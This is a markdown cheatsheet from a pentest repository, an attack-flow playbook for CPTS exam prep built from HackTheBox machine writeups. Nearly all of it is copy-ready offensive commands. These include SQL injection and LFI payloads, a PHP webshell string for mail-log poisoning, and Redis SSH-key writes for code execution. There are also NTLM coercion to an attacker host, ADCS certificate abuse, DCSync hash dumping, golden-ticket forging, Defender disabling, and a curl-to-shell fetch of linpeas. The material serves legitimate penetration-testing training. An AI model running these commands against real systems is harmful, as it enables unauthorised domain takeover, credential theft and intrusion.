daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

attack-flow-guide.md (26393B)


      1 ---
      2 title: "Attack Flow Guide"
      3 description: "CPTS companion guide: Attack Flow Guide — copy-ready methodology and commands."
      4 category: pentest-workflow
      5 subcategory: "Companion Guides"
      6 order: 20
      7 tags: ["methodology", "attack-flow", "cpts-prep", "ad", "adcs", "enumeration", "workflow", "cpts", "pentest-workflow"]
      8 tools: []
      9 difficulty: intermediate
     10 updated: "2026-07-18"
     11 source: "vault:Pentest Attack Flow/Companion Guides/Attack-Flow-Guide.md"
     12 ---
     13 ---
     14 
     15 > [!abstract] `> ABOUT_THIS_GUIDE`
     16 > A working playbook, not just diagrams. For every service you meet, it tells you **what to look for**, the **commands to enumerate it**, and the **commands to test/exploit it**. Built from 16 0xdf writeups (the CPTS-prep list). Command syntax reference lives in **[Most-Used-Commands](/sheets/pentest-workflow/most-used-commands)**. Set these first and every command below just works:
     17 > ```bash
     18 > export IP=10.10.11.x           # target
     19 > export TARGET=$IP
     20 > export DOMAIN=domain.htb
     21 > export DC=dc01.$DOMAIN
     22 > export LHOST=10.10.14.x        # your tun0 (ip -br a show tun0)
     23 > ```
     24 
     25 ---
     26 
     27 ## // THE_GOLDEN_RULES
     28 
     29 > [!tip]
     30 > 1. **Enumerate, don't guess.** Every box rewarded reading the loot (PDFs, notes, README, git history, images) over exploit-hunting.
     31 > 2. **New identity = restart enumeration.** Cracked a hash / reset a password / read a cred? Re-run BloodHound *as that principal*, re-spray it across SMB+WinRM, re-check ADCS. Boxes chain 4-7 identities.
     32 > 3. **Clock skew kills Kerberos** → `sudo ntpdate -u $DC` before every Kerberos/certipy step.
     33 > 4. **NTLM disabled (`NTLM:False` / `STATUS_NOT_SUPPORTED`)** → auth with `-k` + a ccache.
     34 > 5. **First 5 commands on every shell** before anything else.
     35 > 6. **FTP → `binary` mode** before pulling KeePass/DB files or they corrupt.
     36 
     37 ---
     38 
     39 ## // HIGH_LEVEL_FLOW
     40 
     41 <figure class="flow plate corners">
     42   <figcaption class="flow__cap"><span class="flow__kind">High-level attack flow</span><span class="flow__dir">LR</span></figcaption>
     43   <div class="flow__body">
     44     <svg class="flow-svg" viewBox="0 0 1835 205" role="img" aria-label="Setup and recon feeds per-service enum, foothold creds, shell or auth, post-foothold enum, then an Escalate decision that either loops back to per-service enum with new creds, or reaches Domain Admin via ADCS delegation ACL or local privesc, ending at root and flags">
     45       <path class="fedge" d="M185,82 L265,82" marker-end="url(#flow-arrow)" />
     46       <path class="fedge" d="M415,82 L495,82" marker-end="url(#flow-arrow)" />
     47       <path class="fedge" d="M645,82 L725,82" marker-end="url(#flow-arrow)" />
     48       <path class="fedge" d="M875,82 L955,82" marker-end="url(#flow-arrow)" />
     49       <path class="fedge" d="M1105,82 L1185,82" marker-end="url(#flow-arrow)" />
     50       <path class="fedge" d="M1335,74 L1415,74" marker-end="url(#flow-arrow)" />
     51       <path class="fedge" d="M1335,92 L1415,92" marker-end="url(#flow-arrow)" />
     52       <path class="fedge" d="M1565,82 L1645,82" marker-end="url(#flow-arrow)" />
     53       <path class="fedge is-back" d="M1260,106 L1260,172 L340,172 L340,108" marker-end="url(#flow-arrow)" />
     54       <g class="fnode is-entry"><rect class="fnode__box" x="35" y="58" width="150" height="48" /><text class="fnode__label" x="110" y="86" text-anchor="middle">SETUP + RECON</text></g>
     55       <g class="fnode"><rect class="fnode__box" x="265" y="58" width="150" height="48" /><text class="fnode__label" x="340" y="79" text-anchor="middle">PER-SERVICE ENUM<tspan class="sub" x="340" dy="15">(this guide)</tspan></text></g>
     56       <g class="fnode"><rect class="fnode__box" x="495" y="58" width="150" height="48" /><text class="fnode__label" x="570" y="86" text-anchor="middle">FOOTHOLD CREDS</text></g>
     57       <g class="fnode"><rect class="fnode__box" x="725" y="58" width="150" height="48" /><text class="fnode__label" x="800" y="86" text-anchor="middle">SHELL / AUTH</text></g>
     58       <g class="fnode"><rect class="fnode__box" x="955" y="58" width="150" height="48" /><text class="fnode__label" x="1030" y="86" text-anchor="middle">POST-FOOTHOLD ENUM</text></g>
     59       <g class="fnode is-decision"><rect class="fnode__box" x="1185" y="58" width="150" height="48" /><text class="fnode__label" x="1260" y="86" text-anchor="middle">Escalate?</text></g>
     60       <g class="fnode is-goal"><rect class="fnode__box" x="1415" y="58" width="150" height="48" /><text class="fnode__label" x="1490" y="86" text-anchor="middle">DOMAIN ADMIN</text></g>
     61       <g class="fnode"><rect class="fnode__box" x="1645" y="58" width="150" height="48" /><text class="fnode__label" x="1720" y="86" text-anchor="middle">ROOT / FLAGS</text></g>
     62       <g class="felabel"><rect class="felabel__box" x="1325" y="52" width="100" height="16" /><text class="felabel__text" x="1375" y="63" text-anchor="middle">ADCS/deleg/ACL</text></g>
     63       <g class="felabel"><rect class="felabel__box" x="1338" y="98" width="74" height="16" /><text class="felabel__text" x="1375" y="109" text-anchor="middle">local priv</text></g>
     64       <g class="felabel"><rect class="felabel__box" x="741" y="164" width="118" height="16" /><text class="felabel__text" x="800" y="175" text-anchor="middle">loop w/ new creds</text></g>
     65     </svg>
     66   </div>
     67 </figure>
     68 
     69 ---
     70 
     71 ## // PHASE_0 — SETUP
     72 
     73 > [!terminal]+ Run these on every box before anything else
     74 > ```bash
     75 > # Full TCP, then service scan the open ports
     76 > rustscan -a $IP -u 50000 -r 1-65535 -- -sCV -oA ./recon/target
     77 > # (Windows/no-ping): rustscan -a $IP -- -Pn -sCV --max-retries 3 -T4
     78 > # two-stage nmap alternative:
     79 > ports=$(nmap -p- --min-rate 10000 --open -oG - $IP | grep -oP '\d+(?=/open)' | paste -sd,)
     80 > nmap -p $ports -sCV -Pn $IP -oA ./recon/detailed
     81 > sudo nmap -sU --top-ports 50 $IP           # UDP: DNS/SNMP/NFS matter
     82 >
     83 > # Populate /etc/hosts (grab domain + hostname)
     84 > sudo nxc smb $IP --generate-hosts-file /etc/hosts
     85 >
     86 > # AD box only:
     87 > sudo ntpdate -u $DC                        # fix clock skew (Kerberos)
     88 > nxc smb $DC --generate-krb5-file krb5.conf && sudo cp krb5.conf /etc/krb5.conf
     89 > ```
     90 
     91 > [!tip] `> WHAT THE PORTS TELL YOU`
     92 > - 53+88+389+445+636+3268+5985+9389 = **Windows Domain Controller**.
     93 > - 445 alone + 3389 + SSH-for-Windows = **Windows member/standalone** (Media).
     94 > - 2049(nfs), 6379(redis), 1433(mssql), 25(smtp), 6022(go-ssh) = **service to raid**.
     95 > - TTL 127 = Windows one hop, TTL 63/64 = Linux.
     96 > - Two SSH ports / 172.x IPs in DNS = **containers** in play (Craft, Ghost, Snoopy).
     97 
     98 ---
     99 
    100 ## // SERVICE PLAYBOOKS
    101 
    102 Work each open service. For every one: **look-for → enumerate → test**.
    103 
    104 ### `> SMB — 445 / 139`
    105 
    106 > [!info] **Look for:** null/guest access, non-default shares (IT, Development, Finance, profiles$, CertEnroll), writable shares, files (PDFs, KeePass, xlsx, Ansible, scripts), SMB signing off (relay potential), the domain + hostname.
    107 
    108 > [!terminal]+ Enumerate
    109 > ```bash
    110 > nxc smb $IP                                   # OS, domain, hostname, signing, SMBv1, NTLM state
    111 > nxc smb $IP -u '' -p '' --shares             # null session
    112 > nxc smb $IP -u guest -p '' --shares
    113 > nxc smb $IP -u oxdf -p '' --shares           # bogus creds sometimes list shares (Authority)
    114 > nxc smb $DC -u user -p pass --shares --users --rid-brute --pass-pol
    115 > smbmap -H $IP -u user -p pass -r             # recursive listing w/ perms
    116 > smbclient -N -L //$IP                        # anon share list
    117 > ```
    118 
    119 > [!terminal]+ Test / loot
    120 > ```bash
    121 > smbclient //$IP/IT -U "$DOMAIN/user%pass"    # browse a share
    122 > # Kerberos-only host: smbclient -U "$DOMAIN/user%pass" --realm=$DOMAIN //$DC/IT
    123 > nxc smb $IP -u user -p pass -M spider_plus   # auto-loot files
    124 > # writable share = drop a coercion payload (see NTLM-coercion below)
    125 > ```
    126 
    127 > [!warning] `NTLM:False` = NTLM disabled, use Kerberos everywhere (`-k`, `getTGT`, `smbclient.py -k`). Seen on VulnCicada and Voleur.
    128 
    129 ---
    130 
    131 ### `> LDAP — 389 / 636 / 3268`
    132 
    133 > [!info] **Look for:** domain naming context, user list + descriptions (passwords in descriptions), `MachineAccountQuota`, gMSA accounts, ADCS objects, pre-created attributes.
    134 
    135 > [!terminal]+ Enumerate
    136 > ```bash
    137 > nxc ldap $DC -u user -p pass                          # confirm auth (add -k if NTLM off)
    138 > nxc ldap $DC -u user -p pass --users --groups
    139 > nxc ldap $DC -u user -p pass --users-export users.txt # feed spraying
    140 > nxc ldap $DC -u user -p pass -M maq                   # MachineAccountQuota (0 = no fake computers)
    141 > nxc ldap $DC -u user -p pass --gmsa                   # gMSA readable? -> NT hash
    142 > ldapsearch -x -H ldap://$IP -b "DC=domain,DC=htb" > ldap.txt
    143 > ldapsearch -x -H ldap://$IP -b "DC=domain,DC=htb" "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd  # LAPS
    144 > enum4linux-ng -A $IP
    145 > ```
    146 
    147 > [!tip] Description-field and pre-set attributes leak creds. Always dump users with descriptions.
    148 
    149 ---
    150 
    151 ### `> Kerberos — 88`
    152 
    153 > [!info] **Look for:** valid usernames, AS-REP roastable users (no pre-auth), kerberoastable SPNs, clock skew.
    154 
    155 > [!terminal]+ Enumerate + test
    156 > ```bash
    157 > kerbrute userenum -d $DOMAIN --dc $DC /opt/SecLists/Usernames/xato-net-10-million-usernames.txt
    158 > # ASREPRoast (no creds needed if you have a userlist) -> hashcat -m 18200
    159 > impacket-GetNPUsers $DOMAIN/ -dc-ip $IP -usersfile users.txt -no-pass
    160 > # Kerberoast (needs creds) -> hashcat -m 13100
    161 > impacket-GetUserSPNs -request -dc-ip $IP "$DOMAIN/user:pass" -outputfile kerb.hash
    162 > # get a TGT / ccache for Kerberos-only auth
    163 > impacket-getTGT $DOMAIN/user:pass ; export KRB5CCNAME=user.ccache
    164 > kinit user            # alternative, puts ticket in default location
    165 > ```
    166 
    167 > [!warning] `KDC_ERR_PREAUTH_FAILED` = wrong password. `KDC_ERR_C_PRINCIPAL_UNKNOWN` = user doesn't exist / **deleted** (recover via AD Recycle Bin). `KRB_AP_ERR_SKEW` = fix clock.
    168 
    169 ---
    170 
    171 ### `> RPC / MSRPC — 135 / 593`
    172 
    173 > [!terminal]+ Enumerate
    174 > ```bash
    175 > rpcclient -U "" -N $IP                       # then: enumdomusers, querydispinfo, enumdomgroups
    176 > rpcclient -U "user%pass" $IP -c 'enumdomusers'
    177 > impacket-rpcdump $IP | grep -i 'MS-'         # spot coercion surfaces (EFSR, RPRN, DFS)
    178 > ```
    179 
    180 ---
    181 
    182 ### `> DNS — 53 (TCP+UDP)`
    183 
    184 > [!info] **Look for:** the domain name, zone-transfer allowed, extra subdomains/records, ability to add records (dynamic update), TSIG/rndc keys leaked elsewhere.
    185 
    186 > [!terminal]+ Enumerate + test
    187 > ```bash
    188 > dig +noall +answer @$IP domain.htb           # does it resolve?
    189 > dig +noall +answer @$IP -x $IP               # reverse -> domain
    190 > dig axfr domain.htb @$IP                      # ZONE TRANSFER (Trick, Snoopy)
    191 > # add a record as any domain user (feeds Responder coercion — Ghost)
    192 > python dnstool.py -u "$DOMAIN\\user" -k -a add -r bitbucket --zone $DOMAIN --data $LHOST -dns-ip $IP $DC
    193 > # dynamic update with a leaked TSIG/rndc key (Snoopy)
    194 > nsupdate -k rndc.key <<EOF
    195 > server $IP
    196 > zone domain.htb
    197 > update add mail.domain.htb 86400 A $LHOST
    198 > send
    199 > EOF
    200 > ```
    201 
    202 ---
    203 
    204 ### `> HTTP / HTTPS — 80 / 443 / 8008 / 8443 / 50000`
    205 
    206 > [!info] **Look for:** the tech stack (headers, 404 page, cookies, `X-Powered-By`), vhosts, hidden params, known software + version, login forms (SQLi/LDAPi), file/`page=` params (LFI), upload forms, `robots.txt`, git/source exposure, TLS cert names (extra hostnames).
    207 
    208 > [!terminal]+ Enumerate
    209 > ```bash
    210 > whatweb http://$IP ; curl -sI http://$IP     # stack + headers
    211 > # VHOST fuzz (always) — filter the default size with -ac
    212 > ffuf -u http://$IP -H "Host: FUZZ.$DOMAIN" -w /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -mc all -ac
    213 > # dirs — -x for extension, lowercase list on IIS
    214 > feroxbuster -u http://$IP -x php,aspx,html -w /opt/SecLists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
    215 > # hidden GET params (StreamIO ?debug=)
    216 > ffuf -u "http://$IP/admin/?FUZZ=" -w /opt/SecLists/Discovery/Web-Content/burp-parameter-names.txt -mc 200 -fs <default>
    217 > # TLS cert SANs (extra hostnames)
    218 > openssl s_client -connect $IP:443 </dev/null 2>/dev/null | openssl x509 -noout -text | grep -A1 "Subject Alt"
    219 > ```
    220 
    221 > [!terminal]+ Test by app type
    222 > ```bash
    223 > # LOGIN FORM -> SQLi bypass / LDAP injection
    224 > #   user:  admin' or 1=1;-- -      or      *   /   pass: *
    225 > sqlmap -r login.req --batch --technique B --level 5 --threads 10
    226 > sqlmap -r login.req --batch --file-read=/etc/passwd
    227 > #   MSSQL union creds:  ' union select 1,CONCAT(username,':',password),3,4,5,6 from users;-- -
    228 >
    229 > # page=FILE param -> LFI
    230 > ffuf -u "http://$IP/index.php?page=FUZZ" -w /opt/SecLists/Fuzzing/LFI/LFI-Jhaddix.txt -mc 200 -ac
    231 > #   str_replace('../') bypass:  ?page=....//....//etc/passwd
    232 > #   PHP source leak:            ?page=php://filter/convert.base64-encode/resource=index.php
    233 > #   RCE via mail/log poisoning: swaks body '<?php system($_REQUEST["cmd"]);?>' then include mailspool
    234 >
    235 > # ViewState / ASP.NET (Pov) -> leak web.config keys via file-read, then:
    236 > ysoserial.exe -p ViewState -g WindowsIdentity --decryptionalg=AES --decryptionkey=<k> \
    237 >   --validationalg=SHA1 --validationkey=<k> --path=/portfolio -c "<cmd>"
    238 >
    239 > # KNOWN SOFTWARE
    240 > #   Jenkins (50000): Manage Jenkins > Script Console: println "cmd /c whoami".execute().text
    241 > #   Gitea/Bitbucket: log in, read repos + commit history for creds/keys/source
    242 > #   Ghost/CMS: /ghost admin, check version for CVEs
    243 > #   Upload form: try webshell; if "must be Windows Media Player" -> .wax NTLM leak (Media)
    244 > ```
    245 
    246 > [!tip] Read the 404 page and headers to fingerprint (IIS vs nginx vs Express/Next.js). Client-rendered/Next.js apps hide logic in `/_next/static/chunks/*.js` — read them.
    247 
    248 ---
    249 
    250 ### `> NFS — 2049 / 111`
    251 
    252 > [!terminal]+
    253 > ```bash
    254 > showmount -e $IP                              # list exports
    255 > sudo mount -t nfs $IP:/profiles /mnt -o nolock
    256 > find /mnt -ls                                 # hunt readable files (images with stickynote creds — VulnCicada)
    257 > ```
    258 
    259 ---
    260 
    261 ### `> Redis — 6379`
    262 
    263 > [!terminal]+
    264 > ```bash
    265 > redis-cli -h $IP                              # keys *, info, config get dir
    266 > # RCE via SSH-key write (Postman):
    267 > config set dir /var/lib/redis/.ssh
    268 > config set dbfilename authorized_keys
    269 > # (echo -e "\n\n"; cat id.pub; echo -e "\n\n") | redis-cli -h $IP -x set x
    270 > save
    271 > ```
    272 
    273 ---
    274 
    275 ### `> FTP — 21`
    276 
    277 > [!terminal]+
    278 > ```bash
    279 > ftp anonymous@$IP        # nmap ftp-anon flags this; grab everything
    280 > # ALWAYS: binary  (before pulling .kdbx / .psafe3 / DB files — Redelegate)
    281 > ```
    282 > Look for KeePass/Password-Safe DBs, backup files, notes with password policy hints (`SeasonYear!`).
    283 
    284 ---
    285 
    286 ### `> SMTP — 25`
    287 
    288 > [!terminal]+
    289 > ```bash
    290 > smtp-user-enum -m VRFY -U /opt/SecLists/Usernames/names.txt $IP 25   # valid users
    291 > swaks --to user@$DOMAIN --from x --server $IP --body "test"          # send mail (LFI mail-poison)
    292 > ```
    293 
    294 ---
    295 
    296 ### `> MSSQL — 1433`
    297 
    298 > [!terminal]+
    299 > ```bash
    300 > nxc mssql $IP -u sa -p pass --local-auth      # SQL logins need --local-auth
    301 > mssqlclient.py user:pass@$IP                   # add -windows-auth for domain
    302 > # in shell:
    303 > enum_db ; enable_xp_cmdshell ; xp_cmdshell whoami
    304 > EXEC xp_dirtree '\\'$LHOST'\share'            # coerce NetNTLMv2 (run Responder)
    305 > # linked servers (Ghost): SELECT * FROM OPENQUERY("PRIMARY",'select CURRENT_USER')
    306 > #   impersonate sa across link -> enable + xp_cmdshell:
    307 > #   EXECUTE('EXECUTE AS LOGIN=''sa''; exec sp_configure "xp_cmdshell",1;reconfigure;exec xp_cmdshell "cmd"') AT [PRIMARY]
    308 > # RID-brute domain users through MSSQL (Redelegate): msf mssql_enum_domain_accounts
    309 > ```
    310 
    311 ---
    312 
    313 ### `> WinRM — 5985 / 5986`
    314 
    315 > [!terminal]+
    316 > ```bash
    317 > nxc winrm $IP -u user -p pass                 # (Pwn3d!) = shell available
    318 > evil-winrm -i $IP -u user -p pass
    319 > evil-winrm -i $IP -u user -H <NThash>         # pass-the-hash
    320 > export KRB5CCNAME=user.ccache; evil-winrm -i $DC -r $DOMAIN   # kerberos
    321 > ```
    322 > Requires membership in **Remote Management Users**. If auth works on SMB but not WinRM, the account isn't in that group — use RunasCs or find the WinRM user.
    323 
    324 ---
    325 
    326 ### `> ADCS — check as EVERY new principal`
    327 
    328 > [!info] **Look for:** a CA at all, web enrollment over HTTP (ESC8), templates where you have enroll rights, EnrolleeSuppliesSubject + client-auth (ESC1), v1 schema templates (ESC15), security-extension-disabled CA (ESC16).
    329 
    330 > [!terminal]+ Enumerate
    331 > ```bash
    332 > uv tool upgrade certipy-ad                     # ESC15/16 detection is recent
    333 > nxc ldap $DC -u user -p pass -M adcs           # is there a CA?
    334 > certipy find -u user@$DOMAIN -p pass -dc-ip $IP -vulnerable -stdout
    335 > certipy find -u user@$DOMAIN -hashes :<NT> -dc-ip $IP -vulnerable -stdout
    336 > certipy find -u user@$DOMAIN -p pass -dc-ip $IP -stdout   # ALL templates (re-read remarks per principal)
    337 > ```
    338 
    339 ---
    340 
    341 ## // POST-FOOTHOLD ENUMERATION (every shell, every time)
    342 
    343 > [!terminal]+ Windows — first commands
    344 > ```powershell
    345 > whoami /all                       # groups AND privileges (SeImpersonate/SeDebug/SeBackup/SeEnableDelegation)
    346 > net user %username% /domain
    347 > systeminfo ; ipconfig /all
    348 > cmdkey /list                      # stored creds
    349 > reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"  # autologon
    350 > dir -recurse *.config,*.xml,*.ps1 | select-string -pattern "password"
    351 > # loot: connection.xml (Import-CliXml), Firefox key4.db+logins.json (firepwd),
    352 > #       .kdbx/.psafe3, DPAPI creds, gMSA, LAPS, registry/NTDS backups (WSL /mnt/c)
    353 > ```
    354 
    355 > [!terminal]+ Linux — first commands
    356 > ```bash
    357 > id; sudo -l                        # sudo -l FIRST — instant wins on this box list
    358 > find / -perm -u=s -type f 2>/dev/null   # SUID -> GTFOBins
    359 > cat /etc/crontab; ls -la /etc/cron.*
    360 > env                                # VAULT_TOKEN etc (Craft)
    361 > ls -la ~/.ssh /root/.ssh 2>/dev/null    # keys, ControlMaster sockets (Ghost)
    362 > curl -L .../linpeas.sh | sh
    363 > ```
    364 
    365 > [!warning] **After ANY new credential/hash/shell → go back to the service playbooks as that principal.** New BloodHound, new spray, new ADCS check. This single habit solves TombWatcher, Voleur, Administrator, Ghost.
    366 
    367 ---
    368 
    369 ## // BLOODHOUND — run at every principal
    370 
    371 > [!terminal]+
    372 > ```bash
    373 > # password
    374 > bloodhound-ce-python -d $DOMAIN -u user -p pass -ns $IP -c All --zip
    375 > # kerberos
    376 > bloodhound-ce-python -d $DOMAIN -u user -k -no-pass -ns $IP -c All --zip
    377 > # rusthound-ce also collects ADCS the python collector may miss — run both
    378 > rusthound-ce -d $DOMAIN -u user -p pass -c All --zip
    379 > ```
    380 > Mark every owned account, run **"Shortest paths from Owned objects"**. Look at **Outbound Object Control** for each: GenericWrite, GenericAll, WriteOwner, ForceChangePassword, AddSelf, ReadGMSAPassword, DCSync, WriteDacl.
    381 
    382 ---
    383 
    384 ## // ESCALATION — ACL ABUSE
    385 
    386 > [!info] **What each ACL gives you** (from BloodHound outbound control):
    387 
    388 | Right over target | Abuse | Command |
    389 |-------------------|-------|---------|
    390 | **ForceChangePassword** | reset password | `net rpc password target -U "$DOMAIN/me%pw" -S $IP` |
    391 | **GenericWrite / WriteSPN** | targeted kerberoast **or** shadow cred | `targetedKerberoast.py -d $DOMAIN -u me -p pw` / `certipy shadow auto -account target` |
    392 | **GenericAll (user)** | reset pw / shadow cred | `bloodyAD ... set password target 'P@ss1!'` |
    393 | **WriteOwner** | own → grant self GenericAll → abuse | `bloodyAD ... set owner target me` then `add genericAll target me` |
    394 | **AddSelf / GenericAll (group)** | join group, inherit its rights | `bloodyAD ... add groupMember 'Group' me` |
    395 | **ReadGMSAPassword** | read managed password | `nxc ldap $DC -u me -p pw --gmsa` |
    396 | **DCSync / WriteDacl on domain** | dump all hashes | `secretsdump.py "$DOMAIN/me:pw@$DC" -just-dc` |
    397 
    398 > [!terminal]+ Shadow credential (needs ADCS/PKINIT) — returns TGT + NT hash
    399 > ```bash
    400 > certipy shadow auto -u me@$DOMAIN -p pw -account target
    401 > ```
    402 
    403 ---
    404 
    405 ## // ESCALATION — ADCS (certipy)
    406 
    407 | ESC | Trigger (what to look for) | Exploit | Box |
    408 |-----|----------------------------|---------|-----|
    409 | **ESC1** | EnrolleeSuppliesSubject + client-auth + you can enroll | `certipy req ... -template T -upn administrator@$DOMAIN` → `certipy auth -pfx` | Authority |
    410 | **ESC8** | Web enrollment over HTTP enabled | coerce DC (PetitPotam) + `certipy relay -target http://$DC -template DomainController` → machine cert | VulnCicada |
    411 | **ESC15** | v1 schema + EnrolleeSuppliesSubject, unpatched (CVE-2024-49019) | `certipy req ... -application-policies 'Certificate Request Agent'` → ESC3 on-behalf-of | TombWatcher |
    412 | **ESC16** | Security extension disabled CA-wide | hijack controlled acct UPN → `certipy req` → restore UPN → `certipy auth` | Fluffy |
    413 
    414 > [!terminal]+ ESC1 example + PassTheCert fallback
    415 > ```bash
    416 > # if MachineAccountQuota>0 and template = Domain Computers, add a fake computer first:
    417 > addcomputer.py "$DOMAIN/user:pass" -method LDAPS -computer-name PWN$ -computer-pass Pwn123 -dc-ip $IP
    418 > certipy req -username 'PWN$' -password Pwn123 -ca CA-NAME -dc-ip $IP -template T -upn administrator@$DOMAIN -dns $DOMAIN
    419 > certipy auth -pfx administrator.pfx -dc-ip $IP        # if PKINIT fails (KDC_ERR_PADATA_TYPE_NOSUPP):
    420 > certipy cert -pfx administrator.pfx -nocert -out admin.key ; certipy cert -pfx administrator.pfx -nokey -out admin.crt
    421 > python passthecert.py -action ldap-shell -crt admin.crt -key admin.key -domain $DOMAIN -dc-ip $IP
    422 > #   ldap-shell: add_user_to_group me administrators  /  set_rbcd  /  write_gpo_dacl
    423 > ```
    424 
    425 ---
    426 
    427 ## // ESCALATION — DELEGATION
    428 
    429 > [!terminal]+ Constrained delegation via SeEnableDelegationPrivilege (Redelegate)
    430 > ```powershell
    431 > Set-ADAccountControl -Identity "FS01$" -TrustedToAuthForDelegation $True
    432 > Set-ADObject -Identity "CN=FS01,CN=Computers,DC=domain,DC=htb" -Add @{"msDS-AllowedToDelegateTo"="ldap/$DC"}
    433 > ```
    434 > ```bash
    435 > nxc smb $DC -u me -p pw -M change-password -o USER='FS01$' NEWPASS=Pw123
    436 > getST.py "$DOMAIN/FS01\$:Pw123" -spn ldap/$DC -impersonate dc
    437 > KRB5CCNAME=dc@ldap_$DC@*.ccache secretsdump.py -k -no-pass $DC   # DCSync as DC
    438 > ```
    439 > **RBCD** (GenericWrite/All over a computer): `impacket-rbcd -delegate-from 'ATK$' -delegate-to 'TARGET$' -action write "$DOMAIN/user:pass"` then `getST.py -impersonate administrator`.
    440 
    441 ---
    442 
    443 ## // ESCALATION — LOCAL PRIVESC
    444 
    445 > [!tip]+ Windows privilege → exploit (from `whoami /priv`)
    446 > - **SeImpersonate** → GodPotato / PrintSpoofer. Defender eating GodPotato? Compile **EfsPotato** on-box (`csc.exe EfsPotato.cs -nowarn:1691,618`). Service account with stripped privs? **FullPowers** first. (Media, Ghost)
    447 > - **SeDebug** → meterpreter migrate into a SYSTEM proc / `psgetsys.ps1` (Pov)
    448 > - **SeBackup/SeRestore** → read SAM+NTDS
    449 > - **ADS** hidden data → `dir /R`, `more < file.txt:root.txt` (Jeeves)
    450 > - **Junction point** → point a service's write dir at the web root, upload webshell (Media)
    451 > - Disable AV once you can: `Set-MpPreference -DisableRealtimeMonitoring $True`
    452 
    453 > [!tip]+ Linux privilege → exploit (`sudo -l` first)
    454 > - `fail2ban` action rewrite → SUID bash (Trick)
    455 > - `git apply` symlink CVE-2023-23946 (Snoopy)
    456 > - `clamscan --file-list <file>` file-read, or XXE CVE-2023-20052 (Snoopy)
    457 > - Webmin CVE-2019-12840 as root (Postman)
    458 > - HashiCorp Vault SSH OTP: `vault ssh -mode=otp -role=root_otp root@127.0.0.1` (Craft)
    459 > - Password reuse via `su` (Postman)
    460 
    461 ---
    462 
    463 ## // ESCALATION — CROSS-DOMAIN / FOREST (Ghost)
    464 
    465 > [!terminal]+ After SYSTEM on a child DC
    466 > ```bash
    467 > Get-DomainTrust                                   # confirm bidirectional/within-forest
    468 > mimikatz "lsadump::dcsync /all /csv" exit         # grab TRUST$ + krbtgt
    469 > # forged inter-domain trust ticket (child -> parent Enterprise Admins)
    470 > ticketer.py -nthash <TRUST$ NT> -domain-sid <child SID> -domain child.dom \
    471 >   -extra-sid <parent SID>-519 -spn krbtgt/parent.dom dummy
    472 > KRB5CCNAME=dummy.ccache getST.py -k -no-pass -spn cifs/$DC child.dom/dummy@parent.dom
    473 > # or golden ticket:
    474 > Rubeus.exe golden /aes256:<krbtgt aes> /ldap /user:Administrator /sids:<parent SID>-519 /ptt
    475 > # ADFS Golden SAML (as adfs gMSA): ADFSDump.exe -> ADFSpoof.py -> forge SAMLResponse
    476 > ```
    477 
    478 ---
    479 
    480 ## // DECISION_TREE — "I'M STUCK"
    481 
    482 > [!question]+ `> WHAT NOW?`
    483 > - **Just got a cred?** → BloodHound as that user, spray SMB+WinRM, re-check ADCS. (Answer is almost always here.)
    484 > - **Kerberos error?** → `ntpdate` for skew. `PRINCIPAL_UNKNOWN` = deleted account → AD Recycle Bin (`Restore-ADObject` / `nxc -M tombstone`).
    485 > - **Auth SMB but not WinRM?** → not in Remote Management Users → RunasCs.
    486 > - **certipy finds nothing?** → update it; re-run as *every* principal (different enroll rights).
    487 > - **Web app empty?** → vhost fuzz, hidden `?FUZZ=` params, read source via LFI/PHP filter, check git history + JS chunks.
    488 > - **In a container?** → `/root/.ssh` ControlMaster sockets (Ghost), `.dockerenv`, env vars, mounted volumes, `/mnt/c` (WSL — Voleur).
    489 > - **`NTLM:False`?** → everything with `-k` + ccache.
    490 
    491 ---
    492 
    493 ## // COMMON_PITFALLS
    494 
    495 > [!warning]+ Time-wasters seen across the 16 boxes
    496 > - **Clock skew** breaking Kerberos silently → `ntpdate`.
    497 > - **FTP ASCII mode** corrupting KeePass/DB downloads → `binary` first.
    498 > - **Machine-account NetNTLMv2** (`DC$`) is effectively uncrackable — don't burn hours (StreamIO).
    499 > - **WAF keyword blocks** on SQLi (`0x`, `all`, `null`, `*`) — rephrase, don't quit.
    500 > - **Relative-path LFI** killed by `str_replace` → use `....//`.
    501 > - **BloodHound-python hanging** = DNS round-robin returning an unreachable internal IP → re-run or pin the DC IP (Ghost).
    502 > - **Defender** eating tools → `Set-MpPreference` when possible, or EfsPotato/manual.
    503 
    504 ---
    505 
    506 ## // MACHINE_INDEX
    507 
    508 Full technique map: **[Most-Used-Commands](/sheets/pentest-workflow/most-used-commands#-machine__technique_index)**.
    509 
    510 | Tier | Boxes |
    511 |------|-------|
    512 | **Easy** | Fluffy (Win), Trick (Lin), Postman (Lin) |
    513 | **Medium** | Jeeves, Pov, TombWatcher, Media, VulnCicada, StreamIO, Voleur, Administrator, Authority (Win) · Craft (Lin) |
    514 | **Hard** | Redelegate (Win) · Snoopy (Lin) |
    515 | **Insane** | Ghost (Win) |
    516 
    517 ---
    518 
    519 ## // REFERENCES
    520 
    521 > [!info]+
    522 > All 16 writeups: [0xdf](https://0xdf.gitlab.io/) · [Certipy Wiki (ESC)](https://github.com/ly4k/Certipy/wiki) · [The Hacker Recipes](https://www.thehacker.recipes/) · [HackTricks AD](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology) · [GTFOBins](https://gtfobins.github.io/) · [LOLBAS](https://lolbas-project.github.io/) · Command reference: [Most-Used-Commands](/sheets/pentest-workflow/most-used-commands)
    523 
    524 ---
    525 
    526 #Methodology #Attack-Flow #CPTS-Prep #AD #ADCS #Enumeration #Workflow #HTB